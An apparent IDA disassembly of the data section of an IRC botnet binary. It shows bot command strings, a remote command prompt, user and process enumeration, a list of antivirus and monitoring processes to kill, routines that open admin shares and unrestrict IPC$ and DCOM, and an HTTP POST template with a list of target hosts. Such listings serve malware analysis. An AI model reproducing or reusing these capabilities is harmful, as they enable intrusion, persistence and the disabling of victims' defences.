unk_439CE8	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EA4	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 4
unk_439ED8	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 10h
dword_43A1E0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A20C	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43A238	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A340
		dd offset dword_43A334
		dd offset dword_43A328
		dd offset dword_43A31C
		dd offset dword_43A310
		dd offset dword_43A304
		dd offset dword_43A2F4
		dd offset dword_43A2E8
		dd offset dword_43A2DC
		dd offset dword_43A2D0
		dd offset dword_43A2C4
		dd offset dword_43A2B4
		dd offset dword_43A2A8
		dd offset dword_43A298
dword_43A298	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; ___:0043A294o
dword_43A2A8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o
dword_43A2B4	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043A28Co
dword_43A2C4	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043A288o
dword_43A2D0	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o
dword_43A2DC	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o
dword_43A2E8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co
dword_43A2F4	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043A278o
dword_43A304	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043A274o
dword_43A310	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043A270o
dword_43A31C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043A26Co
dword_43A328	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043A268o
dword_43A334	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043A264o
dword_43A340	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043A260o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043A254o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043A250o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043A24Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043A248o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043A244o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043A240o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043A23Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43A238o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 10h
unk_43A3F0	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A414	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A438	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43A4C0	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43A4F0	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A524	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43A548	dd offset dword_43A580	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 10h
		dd offset dword_43A578
		align 8
off_43A558	dd offset dword_43A574	; DATA XREF: sub_41A6EA+1E3o
		dd offset off_43A570
		dd offset dword_43A56C
		dd offset off_43A568
off_43A568	dd offset dword_5C3A44	; DATA XREF: sub_41A3C6+217o
					; ___:0043A564o
dword_43A56C	dd 2444h		; DATA XREF: ___:0043A560o
off_43A570	dd offset byte_5C3A43	; DATA XREF: ___:0043A55Co
dword_43A574	dd 2443h		; DATA XREF: ___:off_43A558o
dword_43A578	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A550o
dword_43A580	dd 24435049h, 0		; DATA XREF: ___:off_43A548o
dword_43A588	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A5B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43A5E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A60C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43A630	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A65C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43A680	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A6B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43A720	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 10h
dword_43A770	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7A0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A7C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 10h
dword_43A7F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A820	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A868	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A8DC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A91C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A938	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43A990	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43AB9C	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AC78	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43AC9C	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43ACE0	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43ACF0	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD00	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
unk_43AD30	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43AD5C	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43AD78	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43ADB4	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43ADD0	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43ADD4	dw 4			; DATA XREF: sub_41B55B+10r
		align 4
dword_43ADD8	dd 6325h		; DATA XREF: ___:0041B89Co
dword_43ADDC	dd 0DFFh		; DATA XREF: ___:0041B6EAo
dword_43ADE0	dd 51FFh		; DATA XREF: ___:0041B6DFo
dword_43ADE4	dd 0EBFFh		; DATA XREF: ___:0041B6D4o
dword_43ADE8	dd 201h			; DATA XREF: ___:0041B6BFo
dword_43ADEC	dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE00	dd 54932206h		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE10	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE1C	dd offset sub_41D124	; DATA XREF: ___:0041C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE28	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE2C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE40	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE44	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AE50	dd offset off_43AE50	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AE54	dd offset off_43AE50	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AE68
		dd offset dword_43AE68
dword_43AE60	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AE68	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043AE58o
					; ___:0043AE5Co
off_43CE70	dd offset off_43AE50	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CE74	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CE78	dd offset word_43CE82	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CE7C	dd offset word_43CE82	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CE82	dw 20h			; DATA XREF: sub_424FF8+18r
					; ___:off_43CE78o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D088	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D090	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D094	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D098	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0A0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0A4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D0B0	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D194	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D300	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
dword_43D308	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D30C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D3E0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D3F0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D408	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D414	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D420	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D424	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D428	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D42C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
off_43D430	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D434	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
off_43D444	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D448	dd 0C0000005h		; DATA XREF: sub_423638+Ar
					; sub_423638+11o ...
dword_43D44C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
